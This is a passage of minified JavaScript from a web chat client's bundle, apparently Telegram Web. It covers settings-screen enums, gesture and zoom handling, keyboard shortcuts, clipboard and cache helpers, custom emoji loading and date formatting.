dEmail",e[e.TwoFaNewPasswordEmailCode=54]="TwoFaNewPasswordEmailCode",e[e.TwoFaEnabled=55]="TwoFaEnabled",e[e.TwoFaChangePasswordCurrent=56]="TwoFaChangePasswordCurrent",e[e.TwoFaChangePasswordNew=57]="TwoFaChangePasswordNew",e[e.TwoFaChangePasswordConfirm=58]="TwoFaChangePasswordConfirm",e[e.TwoFaChangePasswordHint=59]="TwoFaChangePasswordHint",e[e.TwoFaTurnOff=60]="TwoFaTurnOff",e[e.TwoFaRecoveryEmailCurrentPassword=61]="TwoFaRecoveryEmailCurrentPassword",e[e.TwoFaRecoveryEmail=62]="TwoFaRecoveryEmail",e[e.TwoFaRecoveryEmailCode=63]="TwoFaRecoveryEmailCode",e[e.TwoFaCongratulations=64]="TwoFaCongratulations",e[e.ActiveWebsites=65]="ActiveWebsites",e[e.PasscodeDisabled=66]="PasscodeDisabled",e[e.PasscodeNewPasscode=67]="PasscodeNewPasscode",e[e.PasscodeNewPasscodeConfirm=68]="PasscodeNewPasscodeConfirm",e[e.PasscodeEnabled=69]="PasscodeEnabled",e[e.PasscodeChangePasscodeCurrent=70]="PasscodeChangePasscodeCurrent",e[e.PasscodeChangePasscodeNew=71]="PasscodeChangePasscodeNew",e[e.PasscodeChangePasscodeConfirm=72]="PasscodeChangePasscodeConfirm",e[e.PasscodeTurnOff=73]="PasscodeTurnOff",e[e.PasscodeCongratulations=74]="PasscodeCongratulations",e[e.Experimental=75]="Experimental",e[e.Stickers=76]="Stickers",e[e.QuickReaction=77]="QuickReaction",e[e.CustomEmoji=78]="CustomEmoji",e[e.DoNotTranslate=79]="DoNotTranslate",e[e.FoldersShare=80]="FoldersShare",e}({}),a=function(e){return e[e.ChatList=0]="ChatList",e[e.GlobalSearch=1]="GlobalSearch",e[e.Settings=2]="Settings",e[e.Contacts=3]="Contacts",e[e.Archived=4]="Archived",e[e.NewChannelStep1=5]="NewChannelStep1",e[e.NewChannelStep2=6]="NewChannelStep2",e[e.NewGroupStep1=7]="NewGroupStep1",e[e.NewGroupStep2=8]="NewGroupStep2",e}({}),i=function(e){return e[e.ChatList=0]="ChatList",e[e.Media=1]="Media",e[e.Links=2]="Links",e[e.Files=3]="Files",e[e.Music=4]="Music",e[e.Voice=5]="Voice",e}({}),d=function(e){return e[e.ChatInfo=0]="ChatInfo",e[e.Search=1]="Search",e[e.Management=2]="Management",e[e.Statistics=3]="Statistics",e[e.BoostStatistics=4]="BoostStatistics",e[e.MessageStatistics=5]="MessageStatistics",e[e.StoryStatistics=6]="StoryStatistics",e[e.StickerSearch=7]="StickerSearch",e[e.GifSearch=8]="GifSearch",e[e.PollResults=9]="PollResults",e[e.AddingMembers=10]="AddingMembers",e[e.CreateTopic=11]="CreateTopic",e[e.EditTopic=12]="EditTopic",e}({}),c=function(e){return e[e.Inline=0]="Inline",e[e.ScheduledInline=1]="ScheduledInline",e[e.SharedMedia=2]="SharedMedia",e[e.ProfileAvatar=3]="ProfileAvatar",e[e.SettingsAvatar=4]="SettingsAvatar",e[e.MiddleHeaderAvatar=5]="MiddleHeaderAvatar",e[e.Album=6]="Album",e[e.ScheduledAlbum=7]="ScheduledAlbum",e[e.SearchResult=8]="SearchResult",e[e.SuggestedAvatar=9]="SuggestedAvatar",e}({}),u=function(e){return e[e.StoryRibbon=0]="StoryRibbon",e[e.MiddleHeaderAvatar=1]="MiddleHeaderAvatar",e[e.ChatList=2]="ChatList",e[e.SearchResult=3]="SearchResult",e}({}),l=function(e){return e[e.Inline=0]="Inline",e[e.SharedMedia=1]="SharedMedia",e[e.Search=2]="Search",e}({}),f=function(e){return e[e.Idle=0]="Idle",e[e.InProgress=1]="InProgress",e[e.Complete=2]="Complete",e[e.Error=3]="Error",e}({}),h=function(e){return e[e.Idle=0]="Idle",e[e.InProgress=1]="InProgress",e[e.Complete=2]="Complete",e[e.Error=3]="Error",e}({}),m=function(e){return e[e.Idle=0]="Idle",e[e.InProgress=1]="InProgress",e[e.Complete=2]="Complete",e[e.Error=3]="Error",e}({}),p=function(e){return e[e.Closed=0]="Closed",e[e.InProgress=1]="InProgress",e[e.Loading=2]="Loading",e}({}),g=function(e){return e[e.Profile=0]="Profile",e[e.SharedMedia=1]="SharedMedia",e[e.MemberList=2]="MemberList",e[e.StoryList=3]="StoryList",e}({}),y=function(e){return e[e.Checkout=0]="Checkout",e[e.SavedPayments=1]="SavedPayments",e[e.ConfirmPassword=2]="ConfirmPassword",e[e.PaymentInfo=3]="PaymentInfo",e[e.ShippingInfo=4]="ShippingInfo",e[e.Shipping=5]="Shipping",e[e.ConfirmPayment=6]="ConfirmPayment",e}({});const b="UPLOADING_WALLPAPER_SLUG";let v=function(e){return e[e.Initial=0]="Initial",e[e.ChatPrivacyType=1]="ChatPrivacyType",e[e.Discussion=2]="Discussion",e[e.ChannelSubscribers=3]="ChannelSubscribers",e[e.GroupType=4]="GroupType",e[e.GroupPermissions=5]="GroupPermissions",e[e.GroupRemovedUsers=6]="GroupRemovedUsers",e[e.ChannelRemovedUsers=7]="ChannelRemovedUsers",e[e.GroupUserPermissionsCreate=8]="GroupUserPermissionsCreate",e[e.GroupUserPermissions=9]="GroupUserPermissions",e[e.ChatAdministrators=10]="ChatAdministrators",e[e.GroupRecentActions=11]="GroupRecentActions",e[e.ChatAdminRights=12]="ChatAdminRights",e[e.ChatNewAdminRights=13]="ChatNewAdminRights",e[e.GroupMembers=14]="GroupMembers",e[e.GroupAddAdmins=15]="GroupAddAdmins",e[e.Invites=16]="Invites",e[e.EditInvite=17]="EditInvite",e[e.Reactions=18]="Reactions",e[e.InviteInfo=19]="InviteInfo",e[e.JoinRequests=20]="JoinRequests",e}({})},46586:(e,t,n)=>{function o(e,t,n){var o;return(t="symbol"==typeof(o=function(e,t){if("object"!=typeof e||!e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var o=n.call(e,"string");if("object"!=typeof o)return o;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(e)}(t))?o:String(o))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}n.d(t,{Z:()=>r});class r{constructor(){o(this,"promise",void 0),o(this,"reject",void 0),o(this,"resolve",void 0),this.promise=new Promise(((e,t)=>{this.reject=t,this.resolve=e}))}static resolved(e){const t=new r;return t.resolve(e),t}}},9933:(e,t,n)=>{n.d(t,{Zs:()=>l,cK:()=>s,jt:()=>i,timingFunctions:()=>c,vR:()=>a,vr:()=>u});var o=n(57710);let r;function s(e,t,n){n||(r&&!r.isCancelled&&(r.isCancelled=!0),r=n={isCancelled:!1}),!n.isCancelled&&e()&&t((()=>{s(e,t,n)}))}function a(){s((()=>{}),(e=>e))}function i(e,t){t((()=>{e()&&i(e,t)}))}function d(e,t){e()&&t((()=>{d(e,t)}))}const c={linear:e=>e,easeIn:e=>e**1.675,easeOut:e=>-1*e**1.675,easeInOut:e=>.5*(Math.sin((e-.5)*Math.PI)+1),easeInQuad:e=>e*e,easeOutQuad:e=>e*(2-e),easeInOutQuad:e=>e<.5?2*e*e:(4-2*e)*e-1,easeInCubic:e=>e**3,easeOutCubic:e=>--e*e*e+1,easeInOutCubic:e=>e<.5?4*e**3:(e-1)*(2*e-2)*(2*e-2)+1,easeInQuart:e=>e**4,easeOutQuart:e=>1- --e*e**3,easeInOutQuart:e=>e<.5?8*e**4:1-8*--e*e**3,easeInQuint:e=>e**5,easeOutQuint:e=>1+--e*e**4,easeInOutQuint:e=>e<.5?16*e**5:1+16*--e*e**4};function u({timing:e=c.linear,onUpdate:t,duration:n,onEnd:r,from:s,to:a}){const i=Date.now();let u=!1;return d((()=>{if(u)return!1;const o=Date.now(),d=Math.min((o-i)/n,1),c=e(d);if("number"==typeof s&&"number"==typeof a)t(s+(a-s)*c);else if(Array.isArray(s)&&Array.isArray(a)){const e=s.map(((e,t)=>e+(a[t]-e)*c));t(e)}return 1===d&&r?.(),d<1}),o.i$),()=>{u=!0,r?.(!0)}}function l(e,t){Object.assign(e.style,t)}},17358:(e,t,n)=>{n.d(t,{w:()=>a});var o=n(33555),r=n(83716),s=n(7054);function a(e){(0,s.jUK)((0,o.Rd)()).isMasterTab&&"function"==typeof window.navigator.setAppBadge&&window.navigator.setAppBadge(e).catch((e=>{r.eMD&&console.error(e)}))}},84112:(e,t,n)=>{function o(e,t){const n=typeof e;if(n!==typeof t)return!1;if("object"!==n)return e===t;const r=Array.isArray(e);if(r!==Array.isArray(t))return!1;if(r){const n=e,r=t;return n.length===r.length&&n.every(((e,t)=>o(e,r[t])))}const s=e,a=t,i=Object.keys(s);return i.length===Object.keys(a).length&&i.every((e=>o(s[e],a[e])))}n.d(t,{A:()=>o})},275:(e,t,n)=>{function o(e,t){if(e===t)return!0;const n=Object.keys(e),o=n.length;if(o!==Object.keys(t).length)return!1;if(0===o)return!0;for(let r=0;r<o;r++){const o=n[r];if(e[o]!==t[o])return!1}return!0}function r(e,t,n,o=""){const r=Object.keys(e);r.length===Object.keys(t).length?(console.log(n),r.forEach((n=>{e[n]!==t[n]&&console.log(o,n,":",e[n],"=>",t[n])}))):console.log(`${n} LENGTH`)}n.d(t,{X:()=>r,Z:()=>o})},46752:(e,t,n)=>{function o(...e){return e.filter(Boolean).join(" ")}function r(e){return(t,...n)=>{const o="&"===t?e:`${e}__${t}`;return n.reduce(((e,t)=>(t&&(Array.isArray(t)?e.push(...t):e.push(`${o}--${t}`)),e)),[o]).join(" ")}}n.d(t,{Z:()=>o,y:()=>r})},80036:(e,t,n)=>{function o(...e){return e.filter(Boolean).join(";")}n.d(t,{Z:()=>o})},49524:(e,t,n)=>{n.d(t,{Type:()=>i,clear:()=>u,fetch:()=>d,isCacheApiSupported:()=>a,save:()=>c});var o=n(83716);const r=self.caches;let s;async function a(){return!!r&&(s=s??await r.has("test").then((()=>!0)).catch((()=>!1)),s)}let i=function(e){return e[e.Text=0]="Text",e[e.Blob=1]="Blob",e[e.Json=2]="Json",e[e.ArrayBuffer=3]="ArrayBuffer",e}({});async function d(e,t,n,s=!1){if(r)try{const a=o.v5x?`${o.i2v}/${t.replace(/:/g,"_")}`:new Request(t.replace(/:/g,"_")),d=await r.open(e),c=await d.match(a);if(!c)return;const u=c.headers.get("Content-Type");switch(n){case i.Text:return await c.text();case i.Blob:{if(t.startsWith("avatar")&&u&&u.startsWith("text"))return;const e=await c.blob(),n=!e.type||!s&&e.type.includes("html");let o=e.type||u;return n&&o?(s||(o=o.replace(/html/gi,"")),new Blob([e],{type:o})):e}case i.Json:return await c.json();case i.ArrayBuffer:return await c.arrayBuffer();default:return}}catch(e){return void console.warn(e)}}async function c(e,t,n){if(!r)return!1;try{const s="string"==typeof n||n instanceof Blob||n instanceof ArrayBuffer?n:JSON.stringify(n),a=o.v5x?`${o.i2v}/${t.replace(/:/g,"_")}`:new Request(t.replace(/:/g,"_")),i=new Response(s),d=await r.open(e);return await d.put(a,i),!0}catch(e){return console.warn(e),!1}}async function u(e){try{if(!r)return;return await r.delete(e)}catch(e){return void console.warn(e)}}},16063:(e,t,n)=>{function o(){const e=new Set;function t(t){e.delete(t)}return{runCallbacks:function(...t){e.forEach((e=>{e(...t)}))},addCallback:function(n){return e.add(n),()=>{t(n)}},removeCallback:t,hasCallbacks:function(){return Boolean(e.size)}}}n.d(t,{_:()=>o})},23989:(e,t,n)=>{n.d(t,{Z:()=>r});var o=n(517);function r(e){return(0,o.Z)({onEsc:e})}},64963:(e,t,n)=>{function o(e,t,n){var o;return(t="symbol"==typeof(o=function(e,t){if("object"!=typeof e||!e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var o=n.call(e,"string");if("object"!=typeof o)return o;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(e)}(t))?o:String(o))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}n.d(t,{vJ:()=>c,QC:()=>u,Vb:()=>l,eM:()=>d,sf:()=>w});var r=n(28712),s=n(69118),a=n(97184),i=n(43858);let d=function(e){return e[e.Up=0]="Up",e[e.Down=1]="Down",e[e.Left=2]="Left",e[e.Right=3]="Right",e}({});const c=20,u=10,l=1.5,f=15,h=20,m=150,p=150;function g(e,t){return t?Math.hypot(t.pageX-e.pageX,t.pageY-e.pageY):0}function y(e,t){return{x:(e.pageX+t.pageX)/2,y:(e.pageY+t.pageY)/2}}let b=0;const v=new class{constructor({stability:e=8,sensitivity:t=100,tolerance:n=1.1,delay:r=150}={}){o(this,"stability",void 0),o(this,"sensitivity",void 0),o(this,"tolerance",void 0),o(this,"delay",void 0),o(this,"lastUpDeltas",void 0),o(this,"lastDownDeltas",void 0),o(this,"deltasTimestamp",void 0),this.stability=e,this.sensitivity=t,this.tolerance=n,this.delay=r,this.lastUpDeltas=new Array(2*this.stability).fill(0),this.lastDownDeltas=new Array(2*this.stability).fill(0),this.deltasTimestamp=new Array(2*this.stability).fill(0)}check(e){let t;return void 0!==(e=e.originalEvent||e).wheelDelta?t=e.wheelDelta:void 0!==e.deltaY?t=-40*e.deltaY:void 0===e.detail&&0!==e.detail||(t=-40*e.detail),this.deltasTimestamp.push(Date.now()),this.deltasTimestamp.shift(),t>0?(this.lastUpDeltas.push(t),this.lastUpDeltas.shift(),this.isInertia(1)):(this.lastDownDeltas.push(t),this.lastDownDeltas.shift(),this.isInertia(-1))}isInertia(e){const t=-1===e?this.lastDownDeltas:this.lastUpDeltas;if(void 0===t[0])return e;if(this.deltasTimestamp[2*this.stability-2]+this.delay>Date.now()&&t[0]===t[2*this.stability-1])return!1;const n=t.slice(0,this.stability),o=t.slice(this.stability,2*this.stability),r=n.reduce(((e,t)=>e+t)),s=o.reduce(((e,t)=>e+t)),a=r/n.length,i=s/o.length;return Math.abs(a)<=Math.abs(i*this.tolerance)&&this.sensitivity<Math.abs(i)}}({stability:5,sensitivity:25,tolerance:a.qB?1:.6,delay:150});function w(e,t){let n,o=!1,u=!1,l=!1,w=0,I=t.initialZoom??1,C={x:0,y:0},S={x:!1,y:!1};const E=i.Z.get();let P,k={x:E.width/2,y:E.height/2};const T=t.minZoom??1,M=t.maxZoom??4;function A(o){const r=o.target,{excludedClosestSelector:s,withNativeDrag:a,withCursor:i,onDrag:d}=t;(e===r||e.contains(r))&&"INPUT"!==r.tagName&&"TEXTAREA"!==r.tagName&&(s&&(r.matches(s)||r.closest(s))||(n=o,"mousedown"===o.type?(!a&&d&&o.preventDefault(),document.addEventListener("mousemove",N),document.addEventListener("mouseup",L)):"touchstart"===o.type&&(r.addEventListener("touchmove",N,{passive:!0}),r.addEventListener("touchend",L,{passive:!0}),r.addEventListener("touchcancel",L,{passive:!0}),"touches"in o&&(void 0===o.pageX&&(o.pageX=o.touches[0].pageX),void 0===o.pageY&&(o.pageY=o.touches[0].pageY),2===o.touches.length&&(w=g(o.touches[0],o.touches[1]),k=y(o.touches[0],o.touches[1])))),i&&document.body.classList.add("cursor-grabbing"),t.onCapture?.(o)))}function L(e){n&&(t.withCursor&&document.body.classList.remove("cursor-grabbing"),document.removeEventListener("mouseup",L),document.removeEventListener("mousemove",N),n.target.removeEventListener("touchcancel",L),n.target.removeEventListener("touchend",L),n.target.removeEventListener("touchmove",N),a.cj&&t.selectorToPreventScroll&&Array.from(document.querySelectorAll(t.selectorToPreventScroll)).forEach((e=>{e.style.overflow=""})),e&&(o?t.onRelease&&t.onRelease(e):"mouseup"===e.type&&(t.onDoubleClick&&Date.now()-b<300?t.onDoubleClick(e,{centerX:n.pageX,centerY:n.pageY}):!t.onClick||"button"in e&&0!==e.button||t.onClick(e),b=Date.now()))),o=!1,u=!1,l=!1,w=0,I=(0,r.uZ)(I,T,M),P=void 0,C={x:0,y:0},S={x:!1,y:!1};const s=i.Z.get();k={x:s.width/2,y:s.height/2},n=void 0}function N(e){if(n){if("touchmove"===e.type&&"touches"in e&&(void 0===e.pageX&&(e.pageX=e.touches[0].pageX),void 0===e.pageY&&(e.pageY=e.touches[0].pageY),t.onZoom&&w>0&&2===e.touches.length)){const n=g(e.touches[0],e.touches[1]),r=y(e.touches[0],e.touches[1]),s=r.x-k.x,a=r.y-k.y,i=n/w;t.onZoom(e,{zoomFactor:i,initialCenterX:k.x,initialCenterY:k.y,dragOffsetX:s,dragOffsetY:a,currentCenterX:r.x,currentCenterY:r.y}),1!==i&&(o=!0)}const r=e.pageX-n.pageX,s=e.pageY-n.pageY;(Math.abs(r)>=f||Math.abs(s)>=f)&&(o=!0);let l=!1;t.onDrag&&(t.onDrag(e,n,{dragOffsetX:r,dragOffsetY:s}),l=!0),t.onSwipe&&!u&&(u=function(e,n,o){if(a.cj){const t=e.touches[0].pageX;if(t<=c||t>=i.Z.get().width-c)return!1}const r=Math.abs(n),s=Math.abs(o),u=t.swipeThreshold??h;let l;if(r>s&&r>=u?l="x":s>r&&s>=u&&(l="y"),!l)return!1;if(P){if(P!==l)return!1}else P=l;return function(e,t,n,o,r){const s={dragOffsetX:n,dragOffsetY:o};return"x"===t?r(e,n<0?d.Left:d.Right,s):"y"===t&&r(e,o<0?d.Up:d.Down,s)}(e,l,n,o,t.onSwipe)}(e,r,s),l=u),a.cj&&l&&t.selectorToPreventScroll&&Array.from(document.querySelectorAll(t.selectorToPreventScroll)).forEach((e=>{e.style.overflow="hidden"}))}}const R=(0,s.Ds)(L,p,!1),Z=(0,s.Ds)(L,m,!1);function D(e){o||(A(e),o=!0,k={x:e.x,y:e.y})}function B(e){if(!t.onZoom&&!t.onDrag)return;if(t.excludedClosestSelector&&(e.target.matches(t.excludedClosestSelector)||e.target.closest(t.excludedClosestSelector)))return;e.preventDefault(),e.stopPropagation();const{doubleTapZoom:s=3}=t;if(t.onDoubleClick&&Object.is(e.deltaX,-0)&&Object.is(e.deltaY,-0)&&e.ctrlKey)return D(e),I=I>1?1:s,t.onDoubleClick(e,{centerX:e.pageX,centerY:e.pageY}),void(o=!1);const a=e.metaKey||e.ctrlKey||e.shiftKey;if(a&&function(e){if(!t.onZoom)return;D(e);const n=e.x-k.x,o=e.y-k.y,s=(0,r.uZ)(e.deltaY,-25,25);I-=.01*s,I=(0,r.uZ)(I,.5*T,3*M),l=!0,t.onZoom(e,{zoom:(0,r.NM)(I,2),initialCenterX:k.x,initialCenterY:k.y,dragOffsetX:n,dragOffsetY:o,currentCenterX:e.x,currentCenterY:e.y}),Z(e)}(e),!a&&!l){const o=v.check(e);(1!==I||o)&&function(e){if(!t.onDrag)return;D(e),S.x&&Math.sign(C.x)!==Math.sign(e.deltaX)||(C.x-=e.deltaX),S.y&&Math.sign(C.y)!==Math.sign(e.deltaY)||(C.y-=e.deltaY);const{x:o,y:r}=C;t.onDrag(e,n,{dragOffsetX:o,dragOffsetY:r},((e,t)=>{S={x:e,y:t}})),R(e)}(e)}}return t.withWheelDrag&&e.addEventListener("wheel",B),e.addEventListener("mousedown",A),document.body.addEventListener("touchstart",A,{passive:!t.isNotPassive}),()=>{L(),document.body.removeEventListener("touchstart",A),e.removeEventListener("mousedown",A),e.removeEventListener("wheel",B)}}},517:(e,t,n)=>{n.d(t,{Z:()=>s});const o={Enter:"onEnter",Backspace:"onBackspace",Delete:"onDelete",Esc:"onEsc",Escape:"onEsc",ArrowUp:"onUp",ArrowDown:"onDown",ArrowLeft:"onLeft",ArrowRight:"onRight",Tab:"onTab"},r={onEnter:[],onDelete:[],onBackspace:[],onEsc:[],onUp:[],onDown:[],onLeft:[],onRight:[],onTab:[]};function s(e){return a()||document.addEventListener("keydown",i,!0),Object.keys(e).forEach((t=>{const n=e[t];if(!n)return;const o=r[t];o&&o.push(n)})),()=>{!function(e){Object.keys(e).forEach((t=>{const n=e[t],o=r[t];if(o){const e=o.findIndex((e=>e===n));-1!==e&&o.splice(e,1)}})),a()||document.removeEventListener("keydown",i,!1)}(e)}}function a(){return Object.values(r).some((e=>Boolean(e.length)))}function i(e){const t=o[e.key];if(!t)return;const{length:n}=r[t];if(n)for(let o=n-1;o>=0;o--)if(!1!==(0,r[t][o])(e)){e.stopPropagation();break}}},64319:(e,t,n)=>{n.d(t,{TE:()=>a,VP:()=>d,qN:()=>i,yl:()=>r});var o=n(83716);const r=window.navigator.clipboard&&window.ClipboardItem,s=document.createElement("textarea");s.setAttribute("readonly",""),s.tabIndex=-1,s.className="visually-hidden";const a=e=>{s.value=e,document.body.appendChild(s);const t=document.getSelection();if(t){const e=t.rangeCount>0&&t.getRangeAt(0);s.select(),document.execCommand("copy"),e&&(t.removeAllRanges(),t.addRange(e))}document.body.removeChild(s)},i=(e,t)=>{window.navigator.clipboard?.write?window.navigator.clipboard.write([new ClipboardItem({"text/plain":new Blob([t],{type:"text/plain"}),"text/html":new Blob([e],{type:"text/html"})})]):a(t)},d=e=>{if(!e)return;const t=document.createElement("canvas"),n=t.getContext("2d"),o=new Image;o.onload=e=>{if(n&&e.currentTarget){const o=e.currentTarget;t.width=o.width,t.height=o.height,n.drawImage(o,0,0,o.width,o.height),t.toBlob(c,"image/png",1)}},o.src=e};async function c(e){if(e&&r)try{await(window.navigator.clipboard.write?.([new ClipboardItem({[e.type]:e})]))}catch(e){o.eMD&&console.error(e)}}},1279:(e,t,n)=>{n.d(t,{L:()=>r,f:()=>s});const o=50;function r(e,t,n,o){return a("transitionend",e,t,n,o)}function s(e,t,n,o){return a("animationend",e,t,n,o)}function a(e,t,n,r,s){let a=!1;function i(){t.removeEventListener(e,d)}function d(e){a||e.target!==e.currentTarget||r&&(e instanceof TransitionEvent&&e.propertyName===r||e instanceof AnimationEvent&&e.animationName===r)||(a=!0,i(),setTimeout((()=>{n()}),o))}return t.addEventListener(e,d),s&&setTimeout((()=>{a||(i(),n())}),s),i}},74288:(e,t,n)=>{n.d(t,{AU:()=>E,XH:()=>P,bn:()=>C,dA:()=>T,k2:()=>w,sp:()=>I});var o=n(65116),r=n(33555),s=n(6137),a=n(57710),i=n(4463),d=n(7054),c=n(16063),u=n(69995),l=n(40647),f=n(69118),h=n(97184),m=n(69123),p=n(53930);const g=new Set,y=new Map,b=(0,c._)();let v;function w(e,t){y.set(e,t)}function I(e){y.delete(e)}(0,o.ll)((e=>{if(e.customEmojis.byId!==v?.customEmojis.byId||(0,d.W9H)(e)!==(0,d.W9H)(v)){for(const t of y){const[n,o]=t;e.customEmojis.byId[o]&&n(e.customEmojis)}!function(e){const t=Array.from(g).filter((t=>Boolean(e.byId[t])));t.length&&(t.forEach((e=>g.delete(e))),E())}(e.customEmojis)}v=e}));const C=b.addCallback,S=(0,f.P2)(b.runCallbacks,500),E=(0,f.P2)((function(){document.querySelectorAll(".custom-emoji.placeholder").forEach((e=>{const t=(0,r.Rd)().customEmojis.byId[e.dataset.documentId];if(!t)return void g.add(e.dataset.documentId);const[n,o,s]=T(t);t.shouldUseTextColor&&!e.classList.contains("colorable")&&(0,a.WM)((()=>{e.classList.add("colorable")})),n||(0,a.WM)((()=>{e.src=o,e.classList.remove("placeholder"),s&&(e.dataset.uniqueId=s),S(t.id)}))}))}),500);function P(e,t){const n=t?(0,i.RK)(e):`sticker${e}`,o=l.UV(n);if(o)return o;k(n)}function k(e){return l.he(e,s.IU.BlobUrl).then((()=>{E()}))}function T(e){if(!e)return[!0,p,void 0];const t=!h.Hh&&e.isVideo;if(e.isLottie||e.isVideo&&!t)return k(`sticker${e.id}`),[!1,m,(0,u.Z)()];const n=P(e.id,t);return[!n,n||p,void 0]}},790:(e,t,n)=>{n.d(t,{$M:()=>N,$Y:()=>l,D:()=>v,G9:()=>R,IS:()=>B,J_:()=>S,SA:()=>L,SY:()=>C,Tu:()=>y,VX:()=>g,ZK:()=>P,_F:()=>f,dJ:()=>I,j1:()=>E,k9:()=>k,kj:()=>h,mB:()=>w,mr:()=>p,np:()=>b,rM:()=>T,xH:()=>A,xR:()=>c,xk:()=>D,zk:()=>u});var o=n(15155);const r=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],s=["January","February","March","April","May","June","July","August","September","October","November","December"].map((e=>e.toLowerCase())),a=2015,i=31,d=12,c=864e5;function u(e){return f(new Date)===f(e)}function l(e){const t=new Date(e);return t.setHours(0,0,0,0),t}function f(e){return l(e).getTime()}function h(e){const t=new Date(1e3*e);return`${t.getFullYear()}-${t.getMonth()}`}function m(e){return`${e.getFullYear()}-${e.getMonth()+1}-${e.getDate()}`}function p(e,t){const n="number"==typeof t?new Date(t):t,o=e.timeFormat||"24h";let r=n.getHours(),s="";return"12h"===o&&(s=r>=12?" PM":" AM",r=r>12?r%12:r),`${String(r).padStart(2,"0")}:${String(n.getMinutes()).padStart(2,"0")}${s}`}function g(e,t){const n="number"==typeof t?new Date(t):t,o=l(new Date);if(n>=o)return p(e,n);const s=new Date(o);if(s.setDate(o.getDate()-7),n>=s)return e(`Weekday.Short${r[n.getDay()]}`);const a=n.getFullYear()===o.getFullYear();return A(n,e.code,a)}function y(e,t){return A(t,e.code,!1,"numeric")}function b(e,t,n=!1){return A(t,e.code,!1,n?"short":"long",!0)}function v(e,t){const n=Math.floor(t/c);return t<0?0:n<1?k(t/1e3):n<7?e("Days",n):n<30?e("Weeks",Math.floor(n/7)):n<365?e("Months",Math.floor(n/30)):e("Years",Math.floor(n/365))}function w(e,t){return t<6e4?Math.ceil(t/1e3).toString():t<36e5?Math.ceil(t/6e4).toString():t<c?e("MessageTimer.ShortHours",Math.ceil(t/36e5)):e("MessageTimer.ShortDays",Math.ceil(t/c))}function I(e,t,n=t){const o=t-n;return o<60?e("LiveLocationUpdated.JustNow"):o<3600?e("LiveLocationUpdated.MinutesAgo",Math.floor(o/60)):e("LiveLocationUpdated.TodayAt",p(e,n))}function C(e,t,n=t){const o=t-n;if(o<60)return e("Time.JustNow");if(o<3600)return e("Time.MinutesAgo",Math.floor(o/60));const r=new Date(1e3*n),s=l(new Date);if(r>=s)return e("Time.TodayAt",p(e,r));const a=new Date(s);return a.setDate(s.getDate()-1),r>a?e("Time.YesterdayAt",p(e,r)):e("Time.AtDate",y(e,r))}function S(e,t,n=2){if(!t)return;const o=[],r=[{multiplier:1,type:"Seconds"},{multiplier:60,type:"Minutes"},{multiplier:60,type:"Hours"},{multiplier:24,type:"Days"},{multiplier:7,type:"Weeks"}];let s=1;r.forEach(((e,n)=>{if(s*=e.multiplier,t<s)return;const a=r[n===r.length-1?n:n+1].multiplier;o.push({duration:Math.floor(t/s%a),type:e.type})}));const a=o.slice(-n).reverse();for(let e=a.length-1;e>=0;--e)0===a[e].duration&&a.splice(e,1);return a.map((t=>e(t.type,t.duration,"i"))).join(", ")}function E(e,t,n=!1,o=!1,s){const a="number"==typeof t?new Date(t):t,i=l(new Date);if(!o){if(m(a)===m(i))return(s||!n?x:O)(e("Weekday.Today"));const t=new Date(i);if(t.setDate(i.getDate()-1),m(a)===m(t))return(s||!n?x:O)(e("Weekday.Yesterday"));const o=new Date(i),d=new Date(i);if(o.setDate(i.getDate()-7),d.setDate(i.getDate()+7),a>=o&&a<=d){const t=r[a.getDay()];return(s||!n?x:O)(e(n?`Weekday.Short${t}`:`Weekday.${t}`))}}const d=a.getFullYear()===i.getFullYear();return(s||!n?x:O)(A(a,e.code,d,n?"short":"long"))}function P(e,t,n){const o="number"==typeof t?new Date(t):t;return`${E(e,o,!0,void 0,n)}, ${p(e,o)}`}function k(e,t){const n=Math.floor(e/3600),o=Math.floor(e%3600/60),r=Math.floor(e%3600%60),s=t?Math.floor(t/3600):0,a=t?Math.floor(t%3600/60):0;let i="";return n>0||s>0?(i+=`${String(n).padStart(2,"0")}:`,i+=`${String(o).padStart(2,"0")}:`):i+=a>=10?`${String(o).padStart(2,"0")}:`:`${String(o)}:`,i+=String(r).padStart(2,"0"),i}function T(e){const t=[];let n=e%1e3;e-=n,n=Math.floor(n/10);const o=(e=Math.floor(e/1e3))%60;e-=o;const r=(e=Math.floor(e/60))%60;e-=r;const s=(e=Math.floor(e/60))%60;return s>0&&t.push(String(s).padStart(2,"0")),t.push(String(r).padStart(s>0?2:1,"0")),t.push(String(o).padStart(2,"0")),`${t.join(":")},${String(n).padStart(2,"0")}`}const M=(0,o.Z)(((e,t,n,o="short",r)=>new Date(e).toLocaleString(t,{year:n?void 0:"numeric",month:o,day:r?void 0:"numeric"})));function A(e,t="en-US",n=!1,o="short",r=!1){const s=f("number"==typeof e?new Date(e):e);return M(s,t,n,o,r)}function L(e,t="en-US",n,o){return("number"==typeof e?new Date(e):e).toLocaleString(t,{year:"numeric",month:"short",day:"numeric",hour:"numeric",minute:"numeric",second:n?void 0:"numeric",hourCycle:"12h"===o?"h12":"h23"})}function N(e,t){const n="number"==typeof t?new Date(t):t,o=l(new Date),r=p(e,n);if(m(n)===m(o))return e("Time.TodayAt",r);const s=new Date(o);if(s.setDate(o.getDate()-1),m(n)===m(s))return e("Time.YesterdayAt",r);const a=n.getFullYear()===o.getFullYear();return e("formatDateAtTime",[A(n,e.code,a),r])}function R(e,t,n){const o=Math.ceil(n-t);return o<0?e("RightNow"):o<60?e("Seconds",o):o<3600?e("Minutes",Math.ceil(o/60)):o<86400?e("Hours",Math.ceil(o/3600)):e("Days",Math.ceil(o/86400))}function Z(e,t,n=2021){if(t>d-1||e>i)return!1;const o=new Date(n,t,e);return!Number.isNaN(o.getTime())&&o.getDate()===e}function D(e=""){const t=e.match(/\d{1,2}\s[a-zA-Z]{3,}/),n=e.match(/[a-zA-Z]{3,}\s\d{1,2}/),o=e.match(/\d{1,2}[./-]\d{1,2}([./-]\d{2,4})?/);if(!t&&!o&&!n)return;if(o){const[t,n,o]=e.split(/[./-]/).map(Number);return o&&o<a||!Z(t,n-1,o||void 0)?void 0:`${o?`${o}-`:""}${String(n).padStart(2,"0")}-${String(t).padStart(2,"0")}`}const r=e.split(" 